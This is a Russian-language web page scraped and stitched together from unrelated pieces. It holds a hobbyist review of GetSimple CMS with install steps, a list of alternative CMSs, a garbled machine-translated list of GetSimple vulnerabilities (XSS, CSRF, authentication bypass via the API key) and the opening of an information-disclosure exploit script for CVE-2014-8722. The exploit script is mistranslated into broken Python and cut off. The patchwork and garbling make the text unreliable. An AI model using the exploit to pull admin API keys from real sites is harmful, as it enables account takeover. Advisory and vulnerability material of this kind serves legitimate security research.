Содержание
GetSimple CMS — Without DB
Я начинаю описания CMS именно с этой системы, потому что она мне нравится больше остальных, она имеет удобный интерфейс, она действительно проста в использовании. Люди, желающие внести какие-либо дополнения в файлы системы или в файлы плагинов, смогут легко сориентироваться в коде и внести требуемые изменения. На форуме GetSimple CMS общаются люди со всего света и все они благодарят ее разработчиков. Там немало и разработчиков из России.
Готов новый сайт с описанием GetSimple CMS, есть форум
Также многие пробуют писать различные плагины (плагин — дополнение, расширяющее возможности). Не у всех получается, но постепенно GetSimple CMS обрастает различными качественными дополнениями как для обычных пользователей, так и для разработчиков.
Например, для пользователей уже созданы почти все возможные плагины — есть и галерея, и новости, и блог, и различные контактные формы, и возможность добавления комментариев на страницах, и плагин для создания опросов, и плагин гостевой книги.
Разработчики сайтов на GetSimple CMS смогут добавлять при помощи создания компонентов и других функций свои скрипты. Для них сделаны различные плагины. Exec-php плагин, который позволяет добавлять любой код прямо в текстовом редакторе. Четыре варианта меню: обычное меню, в дополнение к нему так называемое child-меню, двухуровневое и многоуровневое меню. Есть плагин RSS-загрузчик, позволяющий включать в код ссылки для загрузки различных RSS-лент. Есть плагин кэширования страниц. Есть возможность закрывать сайт на техобслуживание. Есть плагин для создания мультиязычных сайтов. Так же есть плагин массовой рассылки для подписавшихся пользователей и еще несколько важных плагинов.
Ссылки на демо-версии и прочие есть в нижнем блоке.
Установка
- Скачиваем последнюю версию.
- Распаковываем содержимое архива в папку на вашем локальном компьютере.
- Может также потребоваться изменить права доступа к папке /data/ командой CHMOD 755.
- Закачать содержимое папки на FTP Вашего хостинга.
- Через браузер зайти по адресу вашего домена, куда вы загрузили GetSimple. Откроется страница установки.
- Все поля обязательны для заполнения. Закончив заполнение формы, вас попросят войти в систему с паролем, который сгенерируется автоматически и будет отправлен вам на почтовый ящик.
- После первого входа вы можете изменить пароль на любой другой удобный вам.
Видео
Показано два варианта установки, рекомендую пользоваться первым, потому что при изначальном выборе языка ломается кодировка, но после установки она меняется. Как видите установка занимает 50 секунд.
Выбор хостинга: я пользуюсь этим
Прежде чем купить хостинг для GetSimple CMS спросите провайдера все ли требуемые модули установлены.
- PHP версия 5.2.х
- cURL Module
- GD Library
- ZipArchive
- SimpleXML Module
- Apache Mod Rewrite
Мои сайты на GetSimple:
- А вот и второй сайт на платном шаблоне
- Мой сайт с предложением услуг по изготовлению сайтов на платных шаблонах
- Сайт-визитка изготовленный на платном шаблоне
- Еще один сайт с играми для мобильников
- Каталог мужской одежды
- Сайт с играми для мобильников
- МФА-сайт переведен с DLE на GetSimple CMS
- Мультиязычный сайт по продаже чаги
- Сайт фотографа через год стал ей не нужен.
- Сайт «Оптово-розничный магазин пушнины»
- Сайт эротических игр
Ну и, конечно, этот сайт.
Аналоги GetSimple CMS — 5 похожих программ и сервисов для замены
Аналоги GetSimple CMS — 5 похожих программ и сервисов для замены
1272
WordPress
WordPress — это программное обеспечение с открытым исходным кодом, которое вы можете использовать для создания красивого веб-сайта, блога или приложения.
- Условно бесплатная
- Windows
- Android
- iPhone
- Mac OS
- Онлайн сервис
WordPress — это программное обеспечение, разработанное для всех, предлагающее доступность, производительность, безопасность и простоту использования. Мы считаем, что отличное программное обеспечение должно работать с минимальными настройками, поэтому вы можете сосредоточиться на свободном распространении своей истории, продукта или услуг.
Базовое программное обеспечение WordPress простое и предсказуемое, поэтому вы можете легко начать работу.
Базовое программное обеспечение WordPress простое и предсказуемое, поэтому вы можете легко начать работу.136
Ghost
Ghost — это платформа с открытым исходным кодом.
- Платная
- Windows
- Mac OS
Красиво оформленная платформа, посвященная одной вещи: издательскому делу. Ghost — это приложение с открытым исходным кодом, которое позволяет вам писать и публиковать свой собственный блог, предоставляя вам инструменты, делающие это легким и интересным занятием. Это просто, изящно и разработано так, чтобы вы могли тратить меньше времени на создание своего блога и больше времени на ведение блога.
134
ProcessWire
ProcessWire — это дружественная мощная CMS и CMF с открытым исходным кодом, имеющая исключительно прочную основу.
- Бесплатная
- Windows
- Mac OS
- Онлайн сервис
ProcessWire — это дружественная мощная CMS и CMF с открытым исходным кодом, имеющая исключительно прочную основу. Со всеми настраиваемыми полями, простым в использовании API-интерфейсом в стиле jQuery и мощным механизмом выбора страниц ProcessWire подойдет для любой задачи.
104
Boostlog
Платформа блогов для программистов.
- Бесплатная
- Онлайн сервис
Это платформа для программистов. Вы можете стать участником Boostlog с учетной записью GitHub и обсуждать с разработчиками Boostlog, выводя стек технологий.
72
Grav
Современная CMS с открытым исходным кодом.
- Бесплатная
- Windows
- Онлайн сервис
Grav — это простая в использовании, но мощная CMS с открытым исходным кодом, не требующая базы данных. Установка Grav — это просто распаковка архива. Он быстрый, имеет сложное кэширование и занимает мало места для оптимальной производительности.
Get-simple Getsimple Cms: список уязвимостей безопасности
Get-simple Getsimple Cms: список уязвимостей безопасности
(например: CVE-2009-1234 или 2010-1234 или 20101234)
Переключитесь на https:// | Результаты копирования Нажмите ESC, чтобы закрыть
Общее количество уязвимостей: 26 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Эта проблема затрагивает файл /admin/edit.php модуля содержимого. Манипулирование постконтентом аргумента с помощью ввода типа приводит к межсайтовому скриптингу. Атака может быть запущена удаленно, но требует аутентификации. Детали выставки были раскрыты в бюллетене.
12.2022
3.15 имеет постоянный межсайтовый скриптинг (XSS) в admin/theme-edit.php.
xml. Пароли хэшируются, но это можно обойти, начав с API-ключа data/other/authorization.xml. Это позволяет нацеливаться на состояние сеанса, поскольку они решили свернуть свою собственную реализацию. Cookie_name — это специально созданная информация, которая может быть украдена из внешнего интерфейса (имя и версия сайта). Если кто-то упустит ключ API и имя пользователя администратора, он сможет обойти аутентификацию. Для этого им необходимо предоставить файл cookie на основе вычисления SHA-1 этой известной информации. Уязвимость существует в файле admin/theme-edit.php. Этот файл проверяет отправку форм через POST-запросы и одноразовый номер csrf. Если отправленный одноразовый номер правильный, файл, предоставленный пользователем, загружается. Существует обход пути, разрешающий доступ для записи за пределами корня каталога тем в тюрьме. Использование обхода не требуется, поскольку файл .htaccess игнорируется. Способствующим фактором является то, что перед сохранением файла не выполняется еще одна проверка расширения, при условии, что содержимое параметра безопасно.
Это позволяет создавать доступные через Интернет и исполняемые файлы с произвольным содержимым.
3.15 admin/upload.php блокирует загрузку .html, но Internet Explorer отображает элементы HTML в файле .eml из-за admin/upload-uploadify.php и validate_safe_file в admin/inc/security_functions.php.
10.2018
3.13. Существует CSRF-уязвимость, которая может изменить пароль администратора через admin/settings.php. ПРИМЕЧАНИЕ. Поставщик сообщил, что PoC отправляет значение для параметра nonce.
3.14 имеет XSS через поле «Добавить новую страницу» в admin/edit.php.
php в GetSimple CMS 3.x имеет XSS в поле имени.
3.6 позволяют удаленным злоумышленникам внедрить произвольный веб-скрипт или HTML через (1) параметр post-content или (2) post-title в admin/edit.php.
3.4 позволяет удаленным злоумышленникам получать конфиденциальную информацию посредством прямого запроса к (1) plugins/anonymous_data.php или (2) plugins/InnovationPlugin.php, который раскрывает путь установки в сообщении об ошибке.
05.2014
1.2 и 3.2.3 позволяют удаленным злоумышленникам внедрить произвольный веб-скрипт или HTML через (1) поле пост-меню в edit.php или (2) поле отображаемого имени в настройки.php. ПРИМЕЧАНИЕ. Поля «Пользовательская структура постоянных ссылок» и «Адрес электронной почты» уже включены в CVE-2012-6621.
php в admin/. ПРИМЕЧАНИЕ. Параметр пути в векторе admin/upload.php уже защищен CVE-2012-6621.
php.
php в GetSimple CMS 2.01 позволяет удаленным злоумышленникам внедрить произвольный веб-скрипт или HTML через параметр post-title. CVE является зарегистрированным товарным знаком корпорации MITRE, а официальным источником содержания CVE является
CVE-сайт MITRE.
CWE является зарегистрированным товарным знаком корпорации MITRE, а официальным источником контента CWE является
Веб-сайт CWE MITRE.
OVAL является зарегистрированным товарным знаком The MITRE Corporation, а официальным источником контента OVAL является
Веб-сайт MITRE OVAL.
Использование этой информации означает согласие на использование в состоянии КАК ЕСТЬ.
НИКАКИХ гарантий, подразумеваемых или иных, в отношении этой информации или ее использования.
Любое использование этой информации осуществляется на риск пользователя.
Пользователь несет ответственность за оценку точности, полноты или полезности любой информации, мнения, совета или другого контента.
КАЖДЫЙ ПОЛЬЗОВАТЕЛЬ НЕСЕТ ЕДИНСТВЕННУЮ ОТВЕТСТВЕННОСТЬ ЗА ЛЮБЫЕ последствия его или ее прямого или косвенного использования данного веб-сайта.
ОТ ВСЕХ ГАРАНТИЙ ЛЮБОГО РОДА ЯВНО ОТКАЗЫВАЕТСЯ. Этот сайт НЕ НЕСЕТ ОТВЕТСТВЕННОСТИ ЗА ЛЮБЫЕ ПРЯМЫЕ,
КОСВЕННЫЕ или любые другие потери.
GetSimple CMS 3.3.4 Раскрытие информации ≈ Packet Storm
Change Mirror Download
# Название эксплойта: GetSimple CMS 3.3.4 - Раскрытие информации
# Дата 01.06.2021
# Автор эксплойта: Ron Jost (Hacker5preme)
Домашняя страница: http://get-simple.info/
# Ссылка на программное обеспечение: https://github.com/GetSimpleCMS/GetSimpleCMS/archive/refs/tags/v3.3.4.zip
# Версия: 3.3.4
# CVE : CVE-2014-8722
# Документация: https://github.com/Hacker5preme/Exploits#CVE-2014-8722-Exploit'''
Описание:
GetSimple CMS 3.3.4 позволяет удаленным злоумышленникам получать конфиденциальную информацию посредством прямого запроса к
(1) data/users/.
(2) backups/users/.xml.bak,
(3) data/other/authorization.xml или
(4) data/other/appid.xml.
''''''
Импорт необходимых модулей:
'''
import sys
импорт запросов'''
Пользовательский ввод:
'''
target_ip = sys.argv[1] _port
sys.argv[2]
cmspath = sys.argv[3]
print('')
username = input("Вы знаете имя пользователя? Y/N:")
if username == 'Y':
print('')
username = True
username_string = input('Пожалуйста, введите имя пользователя: ')
else:
print('')
username = False
print('Нет проблем, вы все равно получите ключ API')'''
Получить ключ API:
'''
url = 'http://' + target_ip + ':' + target_port + cmspath + '/data/other/authorization.xml'
header = {
"User-Agent": «Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0»,
«Принять»: «text/html,application/xhtml+xml,application/xml;q=0.
xml, 